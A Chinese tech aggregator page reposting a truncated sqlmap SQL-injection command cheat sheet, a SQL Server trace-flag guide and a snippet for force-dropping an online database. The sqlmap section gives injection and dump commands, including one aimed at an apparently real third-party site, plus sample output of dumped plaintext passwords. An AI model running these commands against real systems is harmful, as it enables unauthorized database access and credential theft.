当前位置:  数据库>sqlserver
本页文章导读:
    ▪注入常用语句       1 $ python sqlmap.py -u "http://ww.victim.com/get_int.php?id=1"--union-use - 2 dump -T users -D public -v 0 3 <sinp> 4 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex) 5 web application technology: .........
    ▪DBA应该知道的一些SQL Server跟踪标记      跟踪标记是什么?     对于DBA来说,掌握Trace Flag是一个成为SQL Server高手的必要条件之一,在大多数情况下,Trace Flag只是一个剑走偏锋的奇招,不必要,但在很多情况下,会使用这.........
    ▪强制删除在线的sqlserver数据库      ALTER DATABASE XXX SET SINGLE_USER with ROLLBACK IMMEDIATEGODROP DATABASE XXX就是说先把数据库切换到单人模式。如果切换到了还删除不了就使劲,使劲多次后还不可以,考虑分离数据库。sp_detach_db  &nbs.........

[1]注入常用语句
    来源:    发布时间: 2013-10-29

  1  $ python sqlmap.py -u "http://ww.victim.com/get_int.php?id=1"--union-use -  
2 dump -T users -D public -v 0
3 <sinp>
4 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
5 web application technology: PHP 5.2.6, Apache 2.2.9
6 back-end DBMS: PostgreSQL
7 Database: public
8 Table: users
9 [4 entries]
10 +----+------------ +----------+
11 | id | password | username |
12 +----+------------ +----------+
13 | 1 | blissett | luther |
14 | 2 | nameisnull | NULL |
15 | 3 | bunny | fluffy |
16 | 4 | ming | wu |
17
18 =======================================
19
20 这个东西,是mickey整理的,不多说了,尊重一下原作者,转载注明mickey整理就好了
21
22 更新
23 svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
24
25 sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //执行SQL语句
26
27 sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更详细的信息
28
29 load options from a configuration INI file
30 sqlmap -c sqlmap.conf
31
32 使用POST方法提交
33 sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″
34
35
36 使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
37 python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1
38
39 使用referer欺骗
40 python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3
41
42 使用自定义user-agent,或者使用随机使用自带的user-agents.txt
43 python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –
    
[2]DBA应该知道的一些SQL Server跟踪标记
    来源:    发布时间: 2013-10-29
跟踪标记是什么?

    对于DBA来说,掌握Trace Flag是一个成为SQL Server高手的必要条件之一,在大多数情况下,Trace Flag只是一个剑走偏锋的奇招,不必要,但在很多情况下,会使用这些标记可以让你更好的控制SQL Server的行为。

下面是官方对于Trace Flag的标记:

    跟踪标记是一个标记,用于启用或禁用SQL Server的某些行为。

 

    由上面的定义不难看出,Trace Flag是一种用来控制SQL Server的行为的方式。很多DBA对Trace Flag都存在一些误区,认为只有在测试和开发环境中才有可能用到Trace Flag,这种想法只能说部分正确,因此对于Trace Flag可以分为两类,适合在生产环境中使用的和不适合在生产环境中使用的。

 

    Important:Trace Flag属于剑走偏锋的招数,在使用Trace Flag做优化之前,先Apply基本的Best Practice。

 

如何控制跟踪标记

    控制跟踪标记的方式有以下三种:

1.通过DBCC命令

    可以通过DBCC命令来启用或关闭跟踪标记,这种方式的好处是简单易用,分别使用下面三个命令来启用,禁用已经查看跟踪标记的状态:

  • DBCC TRACEON(2203,-1)
  • DBCC TRACEOFF(2203,1)
  • DBCC TRACESTATUS

 

其中,TRACEON和TRACEOFF第二个参数代表启用标志的范围,1是Session Scope,-1是Global Scope,如果不指定该值,则保持默认值Session Scope。

另外,值得说的是,如果你希望在每次SQL Server服务启动时通过DBCC命令控制某些Flag,则使用

EXEC sp_procoption @ProcName = '<procedure name>' 
, @OptionName = ] 'startup'
, @OptionValue = 'on';


这个存储过程来指定,sp_procoption存储过程会在SQL Server服务器启动时自动执行。



       还有一点值得注意的是,不是所有的跟踪标记都可以用DBCC命令启动,比如Flag 835就只能通过启动参数指定。



 



2.通过在SQL Server配置管理器中指定



这种方式是通过在数据库引擎启动项里加启动参数设置,只有Global Scope。格式为-T#跟踪标记1;T跟踪标记2;T跟踪标记3。



 



3.通过注册表启动



     这种方式和方法2大同小异,就不多说了。



 



一些在生产环境中可能需要的跟踪标记

 



Trace Flag 610

减少日志产生量。如果你对于日志用了很多基础的best practice,比如说只有一个日志文件、VLF数量适当、单独存储,如果还是不能缓解日志过大的话,考虑使用该跟踪标记。

参考资料:



http://msdn.microsoft.com/en-us/library/dd425070.aspx

http://blogs.msdn.com/b/sqlserverstorageengine/archive/2008/10/24/new-update-on-minimal-logging-for-sql-server-2008.aspx

 



 



Trace Flag  834

使用 Microsoft Windows 大页面缓冲池分配。如果服务器是SQL Server专用服务器的话,值得开启该跟踪标记。

 



Trace Flag  835

允许SQL Server 2005和2008标准版使用"锁定内存页",和在组策略中设置的结果大同小异,但是允许在标准版中使用.

 



Trace Flag  1118


tempdb分配整个区,而不是混合区,减少SGAM页争抢。


当apply tempdb的best practice之后,还遇到争抢问题,考虑使用该跟踪标记。


参考资料:

http://blogs.msdn.com/b/psssql/archive/2008/12/17/sql-server-2005-and-2008-trace-flag-1118-t1118-usage.aspx

 



Trace Flag  1204和1222


这两个跟踪标记都是将死锁写到错误日志中,不过1204是以文本格式进行,而1222是以XML格式保存。可以通过


sp_readerrorlog查看日志。










Trace Flag  1211和1224

两种方式都是禁用锁升级。但行为有所差别1211是无论何时都不会锁升级,而1224在内存压力大的时候会启用锁升级,从而避免了out-of-locks错误。当两个跟踪标记都启用是,1211的优先级更高。

 



Trace Flag  2528

禁用并行执行DBCC CHECKDB, DBCC CHECKFILEGROUP,DBCC CHECKTABLE。这意味着这几个命令只能单线程执行,这可能会需要更多的时间,但是在某些特定情况下还是有些用处。

 



Trace Flag  3226   

防止日志记录成功的备份。如果日志备份过于频繁的话,会产生大量错误日志,启用该跟踪标记可以使得日志备份不再被记录到错误日志。

 



Trace Flag  4199


所有KB补丁对于查询分析器行为的修改都生效,这个命令比较危险,可能扫称性能的下降,具体请参看:


http://support.microsoft.com/kb/974006


 


 


不应该在生产环境中启用的跟踪标记

 


Trace Flag  806 
 
在读取过程中对页检查逻辑一致性,在错误日志中就可以看到类似下面的信息:
 
2004-06-25 11:29:04.11 spid51 错误: 823,严重性: 24 日状态: 2
2004-06-25 11:29:04.11 spid51 I/O 错误 (审核失败) 在读取过程中检测到的偏移量主题 SQL Server\MSSQL\data\pubs.mdf e:\Program 文件中的 0x000000000b0000.
 
参考资料:http://support.microsoft.com/kb/841776
 
该跟踪标记会极大的降低性能!!!

Trace Flag 818  
 
检查写一致性
踪标志 818 启用了一个内存中的环形缓冲区,用于跟踪由运行 SQL Server 的计算机执行的最后 2,048 个成功写操作(不包括排序和工作文件 I/O)。发生 605、823 或 3448 之类的错误时,将传入缓冲区的日志序列号 (LSN) 值与最新写入列表进行比较。如果在读操作期间检索到的 LSN 比在写操作期间指定的更旧,就会在 SQL Server 错误日志中记录一条新的错误信息。大部分 SQL Server 写操作以检查点或惰性写入形式出现。惰性写入是一项使用异步 I/O 操作的后台任务。环形缓冲区的实现是轻量的,因此对系统性能的影响可以忽略。

参考资料:http://support.microsoft.com/kb/826433

Trace Flag 1200 
 
返回加锁信息的整个过程,是学习加锁过程很牛逼的标志,示例代码如下:
 
DBCC TRACEON(1200,-1)
DBCC TRACEON(3604)
DBCC TRACESTATUS

SELECT * FROM AdventureWorks.person.Address
 
参考资料:
http://stackoverflow.com/questions/7449061/nolock-on-a-temp-table-in-sql-server-2008

Trace Flag 1806
 
禁用即时文件初始化,所有的磁盘空间请求全部使用填0初始化,可能造成在空间增长时产生阻塞。
 
Trace Flag 3502
在日志中显示有关checkpoint的相关信息。如图1所示。
      
    
[3]强制删除在线的sqlserver数据库
    来源:    发布时间: 2013-10-29

ALTER DATABASE XXX SET SINGLE_USER with ROLLBACK IMMEDIATE
GO
DROP DATABASE XXX
就是说先把数据库切换到单人模式。
如果切换到了还删除不了就使劲,使劲多次后还不可以,考虑分离数据库。
sp_detach_db   'XXX', 'true '

本文链接


    
最新技术文章:
▪Sql Server里删除数据表中重复记录的例子
▪如何查看SQLSERVER中某个查询用了多少TempDB空间...
▪在SQL Server中使用ISNULL执行空值判断查询
▪揭秘SQL Server 2014有哪些新特性(1)-内存数据库
▪揭秘SQL Server 2014有哪些新特性(2)-固态硬盘 Buff...
▪揭秘SQL Server 2014有哪些新特性(3)-可更新列存...
▪揭秘SQL Server 2014有哪些新特性(4)-原生备份加...
▪解决SqlServer 各版本 sa帐户不能登录问题
▪浅析SQL Server中包含事务的存储过程
▪深入分析MSSQL数据库中事务隔离级别和锁机制
▪SQL优化技巧指南
▪人工智能自动sql优化工具--SQLTuning for SQL Server
▪使用 TOP 子句限制UPDATE 语句更新的数据
▪sql server动态存储过程按日期保存数据示例
▪SQLServer用存储过程实现插入更新数据示例
▪SqlServer中tempdb的日志机制原理解析及示例分享...
▪SqlServer数据库提示 “tempdb” 的日志已满 问题...
▪浅谈tempdb在SqlServer系统中的重要作用
▪SqlServer提示“列前缀tempdb.无效: 未指定表名”...
▪SQL命令优化需要记住的9点事项
▪教你如何看懂SQL Server查询计划
▪sql server 2000数据库备份还原的图文教程
▪SqlServer2012中First_Value函数简单分析
▪sql语句中单引号嵌套问题(一定要避免直接嵌...
▪谈谈sqlserver自定义函数与存储过程的区别
▪SQL SERVER使用REPLACE将某一列字段中的某个值替...
▪总结一周内学习的Sql经验(一)
▪sql存储过程详解
▪总结一周内学习的Sql经验(一) iis7站长之家
▪MSSQL事务的存储过程
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3